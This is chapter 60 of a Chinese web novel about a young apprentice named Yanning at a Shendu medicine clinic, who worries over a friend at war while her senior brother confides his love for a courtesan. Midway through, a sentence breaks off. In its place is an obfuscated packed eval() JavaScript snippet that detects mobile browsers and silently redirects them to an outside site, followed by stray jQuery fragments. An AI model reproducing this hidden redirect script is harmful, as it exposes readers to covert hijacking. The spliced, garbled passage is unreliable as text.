第60章


    待翁如意走远后，洛明川才悄悄走到雁宁身边，轻声解释道：“小师妹可别多想了，师父本就是面冷心善之人，相处久了你定然会发现师父的好。”


    哪有谁家师父不对徒儿严厉的，就算不用洛明川说，雁宁都懂得这些道理。


    雁宁并未动气，只是摇头笑道：“不必洛师兄说，我自然明白师父的良苦用心。”


    “那便好。”洛明川一只手抚摸着雁宁的发顶，另一只手晃了晃提着药包，含笑问道：“洛师兄要去城东送药材，小师妹便先帮着看医馆可好？”


    雁宁闻言愣了下，有些疑惑，忽而笑道：“洛师兄且放宽心，我已然不是未经世事的小女郎了。”


    洛明川剑眉微挑，声音含了些许笑意与柔光：“在洛师兄心里，少溪就是回春堂最宝贝的小女郎。”


    听到这句话，雁宁心头咯噔一下，此话她已经许久未曾听见了，竟没想到还能从洛明川口中听到。


    “多谢洛师兄，回春堂有我呢。”雁宁抬眼看他，唇角微扬，浅浅笑道。


    洛明川微微仰起脸庞，目光遥遥望着医馆外面，声音也沉了下来：“太阳眼看着就要西沉，我得快些动身了。”


    说着，他便急忙赶了出去，生怕耽搁误了时辰。


    雁宁很快收回眼神，端坐在柜台旁，医馆眼下已然没了病人，就连抓药的也没有，她一时无聊，只好翻起了夏氏医书。


    她闲散地靠在檀木椅背上，许是医馆太闷了，手中折扇一撑，轻轻扇了起来。


    果真是无聊至极，此刻回春堂只剩她一人，独自坐在案前，凝视着那本快被自己翻烂的医书。


    日头已经西斜，时间流逝得如此之快，直直照在雁宁身上，此刻正岁月静好。


    她眼神稍暗，苦涩的笑意不达眼底。


    天彻底沉了下去，悄然袭来的困意使雁宁的眼皮愈发沉重，没过多久，她竟迷迷糊糊地安心睡去。


    半个时辰后，一阵轻柔的微风悄然而至，轻轻拂过她的脸颊，细细的鬓发也随之波动，绵软如云。


    雁宁很快被惊醒，门外刮起的风愈加强烈，门窗被吹得啪啪响，她急忙起身将门合上。


    夜色朦胧，庭院幽静，医馆内不知何时亮起了一点灯火，烛台上的蜡烛悠悠燃着，烛光随风跃动，摇曳的灯影将窗纸映照得忽明忽暗。


    雁宁身上也不知何时多了件桃红云貂狐裘，隐隐约约还能闻到一股淡雅的梅花香，想必是狐裘散发出来的香气。


    “小师妹醒了？”


    雁宁闻声转过头来，只见那桃衣女郎脸上立刻带了笑，如同平静的深潭泛起温柔的涟漪。


    雁宁身体明显一怔，瞳孔骤然缩小，目光里闪过一瞬间的错愕，全身仿佛被一根无形的绳子束缚住，无法动弹。


    桃衣美人如玉立于堂前，云鬓如云，雪肤红唇，她虽生了一双明媚勾人的狐狸眼，然而眉目却温和舒顺，有一种端丽之感，桃色裙裳随风摆动，恍若雪中白狐般摄人心魄，美得近乎妖冶。


    雁宁今日一见，端木桃果真同洛明川口中所说的那样，是个花容月貌的绝代佳人。


    端木桃眼底很快闪过一丝困惑，随即抬手在她眼前晃了晃，关心道：“你怎么了？小师妹。”


    雁宁这才恍过神来，连忙摇了摇脑袋，故作沉静道：“我没事，你便是端木师姐吧？”


    端木桃点头，唇角笑漪轻牵：“韩师妹初到神都，可还习惯？”


    雁宁眸光动了动，眼含笑意道：“习惯，洛师兄十分照顾少溪。”


    “那便好，你洛师兄已经备好晚膳，快去吃吧，别饿坏了肚子。”端木桃淡声道，旋即抬起步伐缓缓往后院的方向走去。


    雁宁反应过来，即刻跟在她身后。


    *


    用完晚膳，雁宁便回了自己的房中。


    月明星稀，清风如斯，月光顺着雕花窗扇照进屋内。


    雁宁跪坐在矮几前，凭窗而望，眸子里结满了愁绪。


    她忍不住叹气，微微蹙眉自言自语道：“也不知道平阳城怎么样了，萧无隐有没有守住城门。”


    凝眸之间，雁宁思来想去还是决定给汝南写一封信，询问平阳城战事。


    雁宁心乱如麻，拾起书案上的狼毫笔，随即铺开宣纸，笔尖蘸了墨，便对着烛火开始写字，她下笔落字，行云流水，恰如其人，柔中带刚。


    师兄高鹿亲启：


    见字如见雁宁，我已在回春堂安顿妥当。


    虽隔千里，思绪未断。


    高师兄可否帮雁宁打听平阳城近日所发之战事，萧小郎君现居沙场，血雨腥风，不知可安？


    雁宁落下最后一字，看向月色的神色有些微微愣住，待宣纸上的墨汁干透，方才收进信封里。


    雁宁站起身来，提起裙裾就往门外走去，可刚打开门，便因眼前情景，顿时僵住在原地。


    “洛师兄？”雁宁错愕地看着他，下意识开口问道：“你在我门外做什么？”


    洛明川仍保持着敲门的姿态，半晌后才将手放下。


    他嘴角微微上扬，露出一丝略带尴尬的微笑：“我来找小师妹，就是想问问小师妹的意见。”


    “洛师兄要问何事？”雁宁眉头微微皱起，用困惑的眼神看向洛明川。


    洛明川尚在原地蹙眉思量，终究还是开口问：“明日辰时，远征北齐的军队班师回朝，百姓都会在城门口迎军队回城，届时神都定然热闹非凡，小师妹可愿随师兄去一同瞧瞧？”


    闻言，雁宁神情骤然定住，眼底闪过复杂的锋芒，淡淡追问道：“远征北齐？”


    “是二公子的军队，据说二公子回神都才短短几月，便屡立战功，威震大燕，很快深得百姓们倾佩。”洛明川脸上带着明朗的笑意，兴奋情绪难以掩饰：“听说二公子这次班师回朝，是因为花了极短的光景便成功攻破了北齐一座城池，捷报很快传遍整个神都，王上如此着急召回军队，许是要重赏二公子。”


    北齐天子昏庸无能，是非不辨，赏罚不明也就罢了，如今奸佞贪腐当道，才俊遭嫉，致使百姓民不聊生，亡了也是替天行道，只是可惜了守城的将士们，至死都不知自己以命相护的君主是如何残害忠良，屠诛无辜的。


    雁宁得知此消息，心里还是不好受，垂着的手微颤，指节被握得发白。


    “小师妹？”洛明川抬手，带着点谨慎和试探地伸向了她，轻轻在雁宁眼前晃了晃：“怎么愣住了？”


    雁宁神思归位，按下心头的慌乱同他交涉：“我没事。”


    洛明川松了口气，询问起正事：“小师妹可要去瞧瞧？”


    雁宁良久才在鼻中应了一声：“好。”


    呆楞良久，思绪才渐渐回笼，勾唇道：“对了，我初次来神都，对信桩都不熟悉，洛师兄可愿意帮少溪寄封信？”


    二公子这次大捷而归，想必是平阳城没守住，她心里竟越发担心萧无隐的安危，毕竟他是为保护雁宁而去的平阳城。


    洛明川倒是答应得十分痛快：“自然可以，我明日便帮小师妹送到信桩。”


    雁宁浅浅一笑：“那便劳烦洛师兄跑一趟了。”


    “应该的。”


    洛明川说完，突然露出担忧之色，他这人虽然平日里大大咧咧，可有些事情还是懂得的，便小心翼翼地问道：“小师妹可是想家了？”


    雁宁并未抬眼看他，只是垂眸紧紧盯着攥在手心里的信，黯然失色道：“我想打听一个人。”


    洛明川闻言，顿时起兴致：“要打听的可是小郎君？”


    雁宁此时还没往那方面想，很自然地点了下头。


    他突然好奇地问了句：“不会是小师妹爱慕之人吧？”


    雁宁神情一滞，眼神立马慌乱了起来，大声辩解说：“不是，只是一个朋友罢了。”


    “原来是这样。”洛明川见雁宁有些着急，便再也没有继续挑逗她的心思。


    雁宁却是咽不下这口气，眼前嘴贫的洛师兄瞧着也没大自己多少，便挑了挑眉，故作不经意地歪头问了句：“那洛师兄可有爱慕之人呀？”


    怎料此话一出，洛明川眉心慢慢皱起，缓缓敛住脸上的笑意，开口的语气低沉：“我与她……这辈子都不可能。”


    他心头蓦地涌起一股淡淡的悲伤，眼中只剩下无穷无尽的失落。


    雁宁微怔，沉吟思索了片晌后，轻轻蹙眉问：“可是她不喜欢洛师兄？”


    洛明川眼睫垂下，扯了下唇角，慢


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16311592|177866||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    慢地出了声：“不，她心里有我。”


    若是双方都有情谊，却还是不能在一起，便应该是被某些不可违抗的原因给牵制住了，想必是家族，或是对方自己的原因。


    雁宁拍了拍他的背，安慰他说：“既然她心里也有你，洛师兄为何不能争上一争呢。”


    她还是头一次瞧见洛明川如此丧气。


    洛明川苦笑着摇了下头，声音艰涩：“可是师父不喜欢她，我连再去见她的机会都没有。”


    翁如意虽说平日里疾言厉色，脸上也常流露出愈发凶狠之神色，让人惊恐不已，却也让人对他心生敬畏，可事情关系着弟子日后能否成家立业，师父也是个讲道理的，应当也不会这般不讲情面。


    过了好半晌，雁宁才温吞地冒了句：“她是哪家的娘子？”


    每每想起她，洛明川都会情不自禁地展起笑颜，像雨过天晴的山湖之色。


    他低头笑了下，温柔的月色盈满眼睛，神色黯然道：“她是风月坊的一个清倌人。”


    洛明川抬眼看向雁宁，眸中仿佛盛满了星辰，带着细碎的笑意：“她虽处于风月场之中，可心地却是极为善良的，她从小便被家人抛弃，只是为了那么三两钱财，便被卖到了风月坊，一生中充满了挫折和苦悲，不知在神都受到多少的歧视和排斥，不过她还是想摆脱着这不幸的命运，努力逃离恶劣的环境，寻找着和普通人一样的生活。”


    说话间，雁宁能感觉得到，他的身体在忍不住地颤抖着，就连说话的声音也是发抖的。


    雁宁弯起漂亮的眼眸，冲他浅浅一笑道：“爱慕一个人，是不论她出生如何，品性如何，只要对方是她就好，也不论她在别人眼中有多么的不堪，但在洛师兄心里的小娘子却是极好极好的，这便足够了。”


    洛明川闻言，眼中闪过一丝惊叹，唇角很快浮起温和的笑意：“小师妹当真觉得她很好？”


    雁宁眼眸中透露出一丝不易察觉的坚定，语气平静，没有丝毫犹豫地道：“想必能让洛师兄念念不忘的，定然也是位容颜如月，才情兼备，温柔坚韧的小娘子。”


    此话一出，洛明川眼眸中的寒意骤然褪去，他的眼神逐渐变得灼热，就像是终年被阴雾笼罩的深林烟消雾散，变得炽热透亮起来。


    这一直都是洛明川的心结，如今与雁宁谈过一次心后，竟好像一瞬间解开了，现在提起她，他心头再也不似以前那般苦涩。


    想必是忽然间明白了许多他这么多年一直不曾明白的事，无论将来他们之间有何等的阻碍，洛明川都会逐次攻破，只为能和心里的那个人永远在一起。


    他眼底浓重的情意没有一丝一毫的遮掩，如海水般波涛汹涌：“她弹的琵琶可好听了，若是日后有机会，定要带小师妹去听听。”


    雁宁眼底波光微转，悠悠笑道：“好呀，那她叫什么名字？”


    洛明川眼底荡开星星点点的光芒，温声道：“她叫轻云，是我此生听过最好听的名字。”


    雁宁忍不住夸赞：“真是个诗情画意的好名字。”


    洛明川心中已然释怀，他长舒一口气，不忘问道：“师兄都说了这样多，公平起见，小师妹是不是也要说说默默藏在心里的小郎君？”


    雁宁闻言，顿时愣在原地，神情茫然了片刻，支支吾吾半天：“我……”


    他还真是不舍得自己吃一点亏。


    洛明川狐疑地瞧着，不怀好意继续问道：“不能说吗？还是小师妹不敢说？”


    雁宁眸底淡漠，直截了当说：“我没有爱慕的郎君，洛师兄多想了。”


    洛明川看得出来，她明显心里有鬼，只是不愿说罢了。


    他也不好再追问下去，若讲雁宁逼急，还得自己哄，洛明川撇了撇嘴道：“算了，师兄也不好逼问出来，若真是没有，神都最不缺的就是青年才俊，明日若是有相中的，尽管说出来，师兄帮你。”


    雁宁极为不自然地冷笑一声，赶忙摆手回绝：“不必了不必了，师兄还是好好想想自己应如何再与轻云娘子会面。”


    他掸了掸袖子，沉声道：“天色不早了，小师妹早些歇息，明日等我来找你。”


    “好。”雁宁点了点头，看着洛明川的身影彻底消失在眼前，她才转身回房里。